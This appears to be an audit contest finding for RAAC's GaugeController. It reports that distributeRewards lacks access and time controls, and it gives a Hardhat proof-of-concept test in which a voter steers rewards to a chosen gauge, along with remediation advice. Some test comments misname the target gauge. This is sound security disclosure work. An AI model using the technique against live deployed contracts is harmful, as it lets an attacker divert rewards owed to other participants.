Core Contracts

Regnum Aurum Acquisition Corp
HardhatReal World AssetsNFT
77,280 USDC
View results
Submission Details
Severity: medium
Valid

Malicious users can prematurely call GaugeController::distributeRewards immediately after voting and send all rewards to any gauge they want

Summary

GaugeController::distributeRewards is vulnerable to exploitation because it lacks access controls and time constraints. This allows any user to call the function at any time, enabling them to manipulate reward distribution by voting with high weights on a specific gauge and immediately triggering reward distribution. This results in an unfair allocation of rewards, centralizing them in the attacker's chosen gauge and undermining the protocol's fairness and decentralization.

Vulnerability Details

GaugeController::distributeRewards allows rewards calculated by the gauge controller to be correctly distributed to the gauges that have the associated weights. Weights are associated to gauges when they are created with GaugeController::addGauge and these gauges are changed based on user votes. Users with veRAAC tokens are allowed to vote and assign weights to any gauge of their choice which changes the gauge weight and in turn, the rewards the gauges receive.

/**
* @notice Distributes rewards to a gauge
* @dev Calculates and transfers rewards based on gauge weight
* @param gauge Address of gauge to distribute rewards to
*/
function distributeRewards(
address gauge
) external override nonReentrant whenNotPaused {
if (!isGauge(gauge)) revert GaugeNotFound();
if (!gauges[gauge].isActive) revert GaugeNotActive();
uint256 reward = _calculateReward(gauge);
if (reward == 0) return;
IGauge(gauge).notifyRewardAmount(reward);
emit RewardDistributed(gauge, msg.sender, reward);
}

The exploit occurs because the GaugeController::distributeRewards function has no access controls and no time constraints which means anyone can call it at any time. This presents attackers with an opportunity to assign a high weight to any vote they are currently staked in and immediately call GaugeController::distributeReward which will assign all rewards to that gauge leaving no time for other users to vote on any gauge weights and assigning rewards to whatever gauge of the user's choice

Proof Of Code (POC)

This test was run in GaugeController.test.js file in the "Period Management" describe block. There is some extra setup required in this test as the veRAACToken used in this file is a MockToken that doesnt take decay into account. As a result, we have to change the setup to implement veRAACToken.sol. To do this, replace the "GaugeController" descibe block and its beforeEach with the following:

describe("GaugeController", () => {
let gaugeController;
let rwaGauge;
let raacGauge;
let veRAACToken;
let rewardToken;
let owner;
let gaugeAdmin;
let emergencyAdmin;
let feeAdmin;
let raacToken;
let user1;
let user2;
let user3;
let user4;
let users;
const MONTH = 30 * 24 * 3600;
const WEEK = 7 * 24 * 3600;
const WEIGHT_PRECISION = 10000;
const { MaxUint256 } = ethers;
const duration = 365 * 24 * 3600; // 1 year
beforeEach(async () => {
[
owner,
gaugeAdmin,
emergencyAdmin,
feeAdmin,
user1,
user2,
user3,
user4,
...users
] = await ethers.getSigners(); //c added ...users to get all users and added users 3 and 4 to the list of users for testing purposes
// Deploy Mock tokens
const MockToken = await ethers.getContractFactory("MockToken");
/*veRAACToken = await MockToken.deploy("veRAAC Token", "veRAAC", 18);
await veRAACToken.waitForDeployment();
const veRAACAddress = await veRAACToken.getAddress(); */
//c this should use the actual veRAACToken address and not a mock token as veRAAC has different mechanics to this mocktoken because the rate of decay is not considered at all in this mock token which allows for limiting POC's that produce false positives. the above code block was commented out for testing purposes
const MockRAACToken = await ethers.getContractFactory("ERC20Mock");
raacToken = await MockRAACToken.deploy("RAAC Token", "RAAC");
await raacToken.waitForDeployment();
const VeRAACToken = await ethers.getContractFactory("veRAACToken");
veRAACToken = await VeRAACToken.deploy(await raacToken.getAddress());
await veRAACToken.waitForDeployment();
const veRAACAddress = await veRAACToken.getAddress();
rewardToken = await MockToken.deploy("Reward Token", "REWARD", 18);
await rewardToken.waitForDeployment();
const rewardTokenAddress = await rewardToken.getAddress();
// Deploy GaugeController with correct parameters
const GaugeController = await ethers.getContractFactory("GaugeController");
gaugeController = await GaugeController.deploy(veRAACAddress);
await gaugeController.waitForDeployment();
const gaugeControllerAddress = await gaugeController.getAddress();
// Deploy RWAGauge with correct parameters
const RWAGauge = await ethers.getContractFactory("RWAGauge");
rwaGauge = await RWAGauge.deploy(
await rewardToken.getAddress(),
await veRAACToken.getAddress(),
await gaugeController.getAddress()
);
await rwaGauge.waitForDeployment();
// Deploy RAACGauge with correct parameters
const RAACGauge = await ethers.getContractFactory("RAACGauge");
raacGauge = await RAACGauge.deploy(
await rewardToken.getAddress(),
await veRAACToken.getAddress(),
await gaugeController.getAddress()
);
await raacGauge.waitForDeployment();
// Setup roles
const GAUGE_ADMIN_ROLE = await gaugeController.GAUGE_ADMIN();
const EMERGENCY_ADMIN_ROLE = await gaugeController.EMERGENCY_ADMIN();
const FEE_ADMIN_ROLE = await gaugeController.FEE_ADMIN();
await gaugeController.grantRole(GAUGE_ADMIN_ROLE, gaugeAdmin.address);
await gaugeController.grantRole(
EMERGENCY_ADMIN_ROLE,
emergencyAdmin.address
);
await gaugeController.grantRole(FEE_ADMIN_ROLE, feeAdmin.address);
// Add gauges
await gaugeController.connect(gaugeAdmin).addGauge(
await rwaGauge.getAddress(),
0, // RWA type
0 // Initial weight
);
await gaugeController.connect(gaugeAdmin).addGauge(
await raacGauge.getAddress(),
1, // RAAC type
0 // Initial weight
);
// Initialize gauges
await rwaGauge.grantRole(await rwaGauge.CONTROLLER_ROLE(), owner.address);
await raacGauge.grantRole(await raacGauge.CONTROLLER_ROLE(), owner.address);
});

The relevant test is below:

it("user can prematurely call distributeRewards immediately after voting and send all rewards to any gauge they want", async () => {
//c for testing purposes
//c setup user 1 to lock raac tokens to enable gauge voting
const INITIAL_MINT = ethers.parseEther("1000000");
await raacToken.mint(user1.address, INITIAL_MINT);
await raacToken
.connect(user1)
.approve(await veRAACToken.getAddress(), MaxUint256);
//c user 1 locks raac tokens to gain veRAAC voting power
await veRAACToken.connect(user1).lock(INITIAL_MINT, duration);
const user1bal = await veRAACToken.balanceOf(user1.address);
console.log("User 1 balance", user1bal);
//c user1 votes on raac gauge
await gaugeController
.connect(user1)
.vote(await raacGauge.getAddress(), 5000);
//c make sure the gauge has some rewards to distribute
await rewardToken.mint(
raacGauge.getAddress(),
ethers.parseEther("10000000000")
);
//c get weight of user1's vote on raac gauge
const user1RAACvotes = await gaugeController.userGaugeVotes(
user1.address,
await raacGauge.getAddress()
);
console.log("User 1 votes", user1RAACvotes);
//c allow some time to pass for rewards to accrue
const DAY = 24 * 3600;
await time.increase(DAY + 1);
//c user1 calls distribute rewards and sends all rewards to rwa gauge
const tx = await gaugeController
.connect(user1)
.distributeRewards(await raacGauge.getAddress());
const totalWeight = await gaugeController.getTotalWeight();
console.log("Total Weight", totalWeight);
const calcReward = await gaugeController._calculateReward(
await raacGauge.getAddress()
);
console.log("Calc Reward", calcReward);
const txReceipt = await tx.wait();
const eventLogs = txReceipt.logs;
let reward;
for (let log of eventLogs) {
if (log.fragment && log.fragment.name === "RewardDistributed") {
reward = log.args[2];
break;
}
}
console.log("Reward", reward);
//c proof that all rewards were sent to rwa gauge
const period = await raacGauge.periodState();
const distributed = period.distributed;
console.log("Distributed", distributed);
assert(reward == distributed);
});

Impact

The vulnerability allows a malicious user to manipulate the reward distribution process by:

Voting with High Weight: A user can assign a high weight to a specific gauge they are staked in.

Immediately Distributing Rewards: The user can call distributeRewards immediately after voting, ensuring that the rewards are allocated to their chosen gauge before other users have a chance to vote or adjust weights.

Centralizing Rewards: This results in an unfair distribution of rewards, as the attacker can monopolize the rewards for their gauge, leaving little to no rewards for other gauges.

Tools Used

Manual Review, Hardhat

Recommendations

Introduce Time Constraints
Ensure that reward distribution can only occur at specific intervals (e.g., at the end of a voting period).
This prevents users from manipulating rewards by calling distributeRewards immediately after voting.

Add Access Controls
Restrict the distributeRewards function to only be callable by authorized addresses (e.g., the protocol admin or a dedicated reward distributor contract). This prevents malicious users from triggering reward distribution at will.

Updates

Lead Judging Commences

inallhonesty Lead Judge 3 months ago
Submission Judgement Published
Validated
Assigned finding tags:

GaugeController's distributeRewards lacks time-tracking, allowing attackers to repeatedly distribute full period rewards until hitting emission caps

inallhonesty Lead Judge 3 months ago
Submission Judgement Published
Validated
Assigned finding tags:

GaugeController's distributeRewards lacks time-tracking, allowing attackers to repeatedly distribute full period rewards until hitting emission caps

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.